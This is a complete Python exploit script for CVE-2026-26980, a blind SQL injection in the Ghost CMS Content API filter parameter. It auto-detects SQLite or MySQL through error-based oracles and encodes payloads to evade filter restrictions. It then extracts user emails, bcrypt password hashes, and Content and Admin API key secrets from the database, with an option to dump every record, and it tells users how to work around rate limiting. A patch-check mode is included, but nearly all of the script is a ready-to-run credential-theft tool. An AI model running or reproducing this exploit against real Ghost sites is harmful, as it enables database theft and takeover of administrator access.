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| #!/usr/bin/env python3
"""
CVE-2026-26980 — Ghost CMS Content API Blind SQL Injection
===========================================================
Injection point:
GET /ghost/api/content/posts/?key=<k>&filter=slug:[<PAYLOAD>,<anchor>]
Payload template:
slug:['||<SQL_EXPR>||',<anchor-slug>]
Oracle:
SQLite (TRUE=500, FALSE=200):
CASE WHEN (<cond>) THEN hex(randomblob(1000000000000000)) ELSE 0 END
MySQL (TRUE=200, FALSE=500):
CASE WHEN (<cond>) THEN 0 ELSE EXP(710) END
NQL constraints — SQL_EXPR must not contain single quotes or commas:
SQLite char extraction : prefix-based string comparison, no SUBSTR/ORD
MySQL char extraction : ASCII(SUBSTR(x FROM p FOR 1)) — ISO syntax, no comma
String literals : SQLite → CHAR(c1)||CHAR(c2)||...
MySQL → 0xHEX (|| is logical OR in MySQL, not concat)
Usage:
python3 exploit.py --url URL --key KEY [--slug SLUG] [data flags] [options]
Data flags (at least one required, unless --validate-fix):
--email User email(s)
--hash User bcrypt hash(es)
--content-key Content API key(s)
--admin-key Admin API key(s)
--all Shorthand for --email --hash --content-key --admin-key
--all-records Modifier: extract ALL records for the selected flag(s)
e.g. --email --all-records → all user emails
--content-key --all-records → all content keys
--all --all-records → everything, all records
"""
import argparse
import sys
import time
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
R = "\033[91m"; G = "\033[92m"; Y = "\033[93m"
B = "\033[94m"; C = "\033[96m"; RESET = "\033[0m"; BOLD = "\033[1m"
POSTS_ENDPOINT = "/ghost/api/content/posts/"
API_VER = "v5.0"
SQLITE_BLOB = "hex(randomblob(1000000000000000))"
MYSQL_ERROR = "EXP(710)"
class RateLimitError(Exception):
pass
class GhostSQLi:
"""
Blind SQL injection via Ghost Content API filter slug value.
SQLite oracle: TRUE → OOM error (500) / FALSE → 200
MySQL oracle: TRUE → 200 / FALSE → numeric overflow (500)
"""
def __init__(self, base_url, api_key, anchor_slug,
dbms="auto", delay=0.0, timeout=15, proxy=None):
self.base_url = base_url.rstrip("/")
self.api_key = api_key
self.anchor = anchor_slug
self.dbms = dbms
self.delay = delay
self.timeout = timeout
self.req_count = 0
self._detected_dbms = None
self.session = requests.Session()
self.session.headers.update({"Accept-Version": API_VER})
if proxy:
self.session.proxies = {"http": proxy, "https": proxy}
self.session.verify = False
print(f"{Y}[P]{RESET} Proxy : {C}{proxy}{RESET}")
else:
print(f"{B}[*]{RESET} Proxy : off")
# ── HTTP ──────────────────────────────────────────────────
def _get(self, filter_val: str) -> requests.Response:
try:
r = self.session.get(
self.base_url + POSTS_ENDPOINT,
params={"key": self.api_key, "filter": filter_val},
timeout=self.timeout,
)
self.req_count += 1
if r.status_code == 401:
print(f"\n{R}[!]{RESET} HTTP 401 — Invalid Content API key.")
print(f" Verify the key with: GET {self.base_url}{POSTS_ENDPOINT}?key=<key>")
sys.exit(1)
if r.status_code == 429:
raise RateLimitError()
if self.delay:
time.sleep(self.delay)
return r
except RateLimitError:
raise
except requests.RequestException as e:
print(f"\n{R}[!]{RESET} Request error: {e}")
sys.exit(1)
def _build_filter(self, sql_expr: str) -> str:
return f"slug:['||{sql_expr}||',{self.anchor}]"
# ── DBMS detection ────────────────────────────────────────
def detect_dbms(self) -> str:
print(f"\n{B}[*]{RESET} Auto-detecting DB engine...")
# SQLite: TRUE → blob OOM → 500
r = self._get(self._build_filter(
f"CASE WHEN 1=1 THEN {SQLITE_BLOB} ELSE 0 END"))
if r.status_code == 500:
print(f"{G}[+]{RESET} DB engine: {C}SQLite{RESET} (blob OOM confirmed)")
return "sqlite"
# MySQL: FALSE → EXP(710) → 500
r = self._get(self._build_filter(
f"CASE WHEN 1=0 THEN 0 ELSE {MYSQL_ERROR} END"))
if r.status_code == 500:
print(f"{G}[+]{RESET} DB engine: {C}MySQL{RESET} (EXP overflow confirmed)")
return "mysql"
print(f"{Y}[?]{RESET} Both oracle probes returned HTTP 200 — cannot identify DB engine.")
print(f" Possible causes:")
print(f" {C}•{RESET} Target is patched (Ghost ≥ 6.19.1)")
print(f" {C}•{RESET} Non-standard DB engine or unexpected response")
print(f" To confirm patch status : --validate-fix")
print(f" To force engine : --dbms sqlite|mysql")
sys.exit(1)
# ── Oracle ────────────────────────────────────────────────
def _oracle(self, condition: str) -> bool:
"""Returns True if condition is TRUE, False otherwise."""
if self._detected_dbms == "sqlite":
expr = f"CASE WHEN ({condition}) THEN {SQLITE_BLOB} ELSE 0 END"
return self._get(self._build_filter(expr)).status_code == 500
else:
expr = f"CASE WHEN ({condition}) THEN 0 ELSE {MYSQL_ERROR} END"
return self._get(self._build_filter(expr)).status_code == 200
# ── Verify ────────────────────────────────────────────────
def verify(self) -> tuple[bool, bool]:
"""Detect DBMS and sanity-check TRUE/FALSE oracle. Returns (true_ok, false_ok)."""
if self.dbms == "auto":
self._detected_dbms = self.detect_dbms()
else:
self._detected_dbms = self.dbms
print(f"{B}[*]{RESET} DB engine: {C}{self.dbms}{RESET} (manual)")
print(f"\n{B}[*]{RESET} Testing boolean oracle ({self._detected_dbms})...")
true_result = self._oracle("1=1")
false_result = self._oracle("1=0")
return true_result, not false_result
# ── Integer primitives ────────────────────────────────────
def _int_query(self, expr: str, lo: int, hi: int) -> int:
"""Binary search for the integer value of expr in [lo, hi]."""
while lo < hi:
mid = (lo + hi) // 2
if self._oracle(f"({expr}) <= {mid}"):
hi = mid
else:
lo = mid + 1
return lo
def _length(self, sql_expr: str, max_len: int = 200) -> int:
return self._int_query(f"LENGTH(({sql_expr}))", 1, max_len)
def _count(self, count_query: str, max_n: int = 100) -> int:
"""Binary search for a COUNT(*) result in [0, max_n]."""
return self._int_query(count_query, 0, max_n)
# ── String encoding ───────────────────────────────────────
def _str_lit(self, s: str) -> str:
"""
Encode a string literal without single quotes or commas.
SQLite: CHAR(c1)||CHAR(c2)||... (|| is concat in SQLite)
MySQL: 0xHEX (|| is logical OR in MySQL, not concat)
"""
if self._detected_dbms == "sqlite":
return "||".join(f"CHAR({ord(c)})" for c in s)
return "0x" + s.encode().hex()
# ── Char extraction ───────────────────────────────────────
def _char(self, sql_expr: str, pos: int, known_prefix: str = "") -> str:
if self._detected_dbms == "sqlite":
return self._char_sqlite(sql_expr, known_prefix)
return self._char_mysql(sql_expr, pos)
def _char_sqlite(self, sql_expr: str, known_prefix: str) -> str:
"""
Binary search via string comparison — avoids SUBSTR() and ORD().
Condition: (expr) < (prefix_chars || CHAR(mid+1))
TRUE → char at current position has code ≤ mid
Position is implicit: len(known_prefix) + 1. No commas or quotes generated.
"""
lo, hi = 32, 126
while lo < hi:
mid = (lo + hi) // 2
parts = [f"CHAR({ord(c)})" for c in known_prefix] + [f"CHAR({mid + 1})"]
threshold = "||".join(parts)
if self._oracle(f"({sql_expr}) < ({threshold})"):
hi = mid
else:
lo = mid + 1
return chr(lo) if 32 <= lo <= 126 else "?"
def _char_mysql(self, sql_expr: str, pos: int) -> str:
"""Binary search via ASCII(SUBSTR(x FROM p FOR 1)) — ISO syntax, no commas."""
lo, hi = 32, 126
while lo < hi:
mid = (lo + hi) // 2
if self._oracle(
f"ASCII(SUBSTR(({sql_expr}) FROM {pos} FOR 1)) <= {mid}"):
hi = mid
else:
lo = mid + 1
return chr(lo) if 32 <= lo <= 126 else "?"
# ── High-level extraction ─────────────────────────────────
def extract(self, sql_expr: str, label: str, max_len: int = 200) -> str:
"""Extract a single string value via binary search."""
print(f"\n{B}[*]{RESET} Measuring length of {label}...", end="", flush=True)
length = self._length(sql_expr, max_len)
print(f" {G}{length} chars{RESET}")
result = ""
print(f"{B}[*]{RESET} Extracting {label}: ", end="", flush=True)
for pos in range(1, length + 1):
ch = self._char(sql_expr, pos, result)
result += ch
print(f"{G}{ch}{RESET}", end="", flush=True)
print()
return result
def extract_multi(self, query_no_limit: str, count_query: str,
label: str, max_len: int = 200) -> list[str]:
"""Extract all records of a field using LIMIT 1 OFFSET n."""
n = self._count(count_query)
print(f"{B}[*]{RESET} {n} {label} record(s) found")
results = []
for i in range(n):
val = self.extract(
f"{query_no_limit} LIMIT 1 OFFSET {i}",
f"{label} [{i + 1}/{n}]",
max_len)
results.append(val)
return results
# ── Helpers ───────────────────────────────────────────────────
def find_anchor_slug(base_url: str, api_key: str, proxy=None) -> str:
"""Fetch the slug of any published post to use as the NQL anchor."""
proxy_cfg = {"http": proxy, "https": proxy} if proxy else None
try:
r = requests.get(
base_url.rstrip("/") + POSTS_ENDPOINT,
params={"key": api_key, "limit": 1, "fields": "slug"},
headers={"Accept-Version": API_VER},
timeout=10, proxies=proxy_cfg, verify=not proxy,
)
if r.status_code == 401:
print(f"\n{R}[!]{RESET} HTTP 401 Unauthorized — Content API key is invalid.")
print(f" Possible cause: incorrect --key value.")
sys.exit(1)
posts = r.json().get("posts", [])
if posts:
return posts[0]["slug"]
except Exception:
pass
return ""
def handle_rate_limit():
print(f"\n{R}{'='*60}{RESET}")
print(f"{R} HTTP 429 — TOO MANY REQUESTS{RESET}")
print(f"{R}{'='*60}{RESET}")
print("""
Ghost rate limiter blocked the exploit.
Options:
1. Disable rate limiting in docker-compose.yml:
API_RATE_LIMIT_ENABLED: "false"
Then restart:
docker compose down ghost-vuln && docker compose up -d ghost-vuln
2. Add a delay between requests:
python3 exploit.py --delay 0.5 [other args]
3. Raise the rate limit instead of disabling it:
rateLimit__maxAttempts: "10000"
rateLimit__blockFor: "0"
""")
sys.exit(1)
def banner():
print(f"""
{C}{BOLD}╔══════════════════════════════════════════════════════════════╗
║ CVE-2026-26980 — Ghost CMS Content API Blind SQL Injection ║
║ SQLite → hex(randomblob) OOM error (TRUE=500 / FALSE=200) ║
║ MySQL → EXP(710) numeric overflow (TRUE=200 / FALSE=500) ║
╚══════════════════════════════════════════════════════════════╝{RESET}
""")
def _section(title: str):
print(f"\n{Y}{'='*60}{RESET}")
print(f"{Y} {title}{RESET}")
print(f"{Y}{'='*60}{RESET}")
def main():
banner()
ap = argparse.ArgumentParser(
description="CVE-2026-26980 — Ghost CMS Blind SQLi PoC",
formatter_class=argparse.RawTextHelpFormatter)
ap.add_argument("--url", required=True, help="Ghost base URL")
ap.add_argument("--key", required=True, help="Content API key")
ap.add_argument("--slug", default="", help="Anchor slug (auto-discovered if omitted)")
ap.add_argument("--dbms", default="auto", choices=["auto", "sqlite", "mysql"])
ap.add_argument("--delay", type=float, default=0.0,
help="Seconds between requests (default: 0)")
ap.add_argument("--proxy", default=None,
help="HTTP proxy, e.g. http://127.0.0.1:8080 (default: none)")
ap.add_argument("--validate-fix", action="store_true",
help="Check if target is patched and exit")
grp = ap.add_argument_group(
"data selection",
"at least one required (unless --validate-fix)")
grp.add_argument("--email", action="store_true",
help="First user email")
grp.add_argument("--hash", action="store_true",
help="First user bcrypt hash")
grp.add_argument("--content-key", action="store_true", dest="content_key",
help="First Content API key")
grp.add_argument("--admin-key", action="store_true", dest="admin_key",
help="First Admin API key")
grp.add_argument("--all", action="store_true",
help="Shorthand for --email --hash --content-key --admin-key")
grp.add_argument("--all-records", action="store_true", dest="all_records",
help="Modifier: extract all records instead of first only")
args = ap.parse_args()
want_data = any([args.email, args.hash, args.content_key, args.admin_key, args.all])
if not args.validate_fix and not want_data:
ap.error("specify at least one data flag: "
"--email --hash --content-key --admin-key --all")
base = args.url.rstrip("/")
proxy = args.proxy
try:
# Anchor slug
anchor = args.slug
if not anchor:
print(f"{B}[*]{RESET} Searching for anchor slug...")
anchor = find_anchor_slug(base, args.key, proxy=proxy)
if anchor:
print(f"{G}[+]{RESET} Anchor slug: {C}{anchor}{RESET}")
else:
print(f"{R}[!]{RESET} No published posts found. "
"Publish at least one post or use --slug <slug>.")
sys.exit(1)
sqli = GhostSQLi(base, args.key, anchor,
dbms=args.dbms, delay=args.delay, proxy=proxy)
# Verify oracle
true_ok, false_ok = sqli.verify()
print(f" TRUE (expect ✓): {G+'✓'+RESET if true_ok else R+'FAIL'+RESET}")
print(f" FALSE (expect ✓): {G+'✓'+RESET if false_ok else R+'FAIL'+RESET}")
if args.validate_fix:
if not (true_ok and false_ok):
print(f"\n{G}[✓] PATCHED — oracle does not distinguish TRUE/FALSE{RESET}")
else:
print(f"\n{R}[✗] STILL VULNERABLE{RESET}")
return
if not (true_ok and false_ok):
print(f"\n{R}[!]{RESET} Oracle cannot distinguish TRUE/FALSE")
print(f" Try: --dbms sqlite or --dbms mysql")
sys.exit(1)
print(f"\n{G}[+]{RESET} {BOLD}Oracle confirmed — TARGET IS VULNERABLE{RESET}")
# DBMS-aware string literals (requires _detected_dbms set by verify())
ct = sqli._str_lit("content")
at = sqli._str_lit("admin")
results = {}
_section("EXTRACTING DATA")
# Each flag has two modes depending on --all-records:
# without: first record only (LIMIT 1, no OFFSET)
# with: all records (extract_multi with COUNT + OFFSET)
if args.all or args.email:
if args.all_records:
results["emails"] = sqli.extract_multi(
"SELECT email FROM users ORDER BY id",
"SELECT COUNT(*) FROM users",
"user email", max_len=100)
else:
results["emails"] = [sqli.extract(
"SELECT email FROM users ORDER BY id LIMIT 1",
"user email", max_len=100)]
if args.all or args.hash:
if args.all_records:
results["hashes"] = sqli.extract_multi(
"SELECT password FROM users ORDER BY id",
"SELECT COUNT(*) FROM users",
"user hash", max_len=200)
else:
results["hashes"] = [sqli.extract(
"SELECT password FROM users ORDER BY id LIMIT 1",
"user hash", max_len=200)]
if args.all or args.content_key:
if args.all_records:
results["content_keys"] = sqli.extract_multi(
f"SELECT secret FROM api_keys WHERE type={ct} ORDER BY id",
f"SELECT COUNT(*) FROM api_keys WHERE type={ct}",
"Content API key", max_len=200)
else:
results["content_keys"] = [sqli.extract(
f"SELECT secret FROM api_keys WHERE type={ct} ORDER BY id LIMIT 1",
"Content API key", max_len=200)]
if args.all or args.admin_key:
if args.all_records:
results["admin_keys"] = sqli.extract_multi(
f"SELECT secret FROM api_keys WHERE type={at} ORDER BY id",
f"SELECT COUNT(*) FROM api_keys WHERE type={at}",
"Admin API key", max_len=200)
else:
results["admin_keys"] = [sqli.extract(
f"SELECT secret FROM api_keys WHERE type={at} ORDER BY id LIMIT 1",
"Admin API key", max_len=200)]
# ── Summary ───────────────────────────────────────────
print(f"\n{G}{'='*60}{RESET}")
print(f"{G}{BOLD} EXPLOITATION COMPLETE{RESET}")
print(f"{G}{'='*60}{RESET}")
print(f" Target : {base}")
print(f" DB engine : {sqli._detected_dbms}")
print(f" Requests : {sqli.req_count}")
print()
def _print_vals(label: str, vals: list, color: str):
if len(vals) == 1:
print(f" {label:<12}: {color}{vals[0]}{RESET}")
else:
print(f" {label} ({len(vals)}):")
for i, v in enumerate(vals, 1):
print(f" [{i}] {color}{v}{RESET}")
if "emails" in results:
_print_vals("Email", results["emails"], G)
if "hashes" in results:
_print_vals("Hash", results["hashes"], Y)
if "content_keys" in results:
_print_vals("ContentKey", results["content_keys"], C)
if "admin_keys" in results:
_print_vals("AdminKey", results["admin_keys"], R)
print(f"{G}{'='*60}{RESET}")
except RateLimitError:
handle_rate_limit()
if __name__ == "__main__":
main()
|
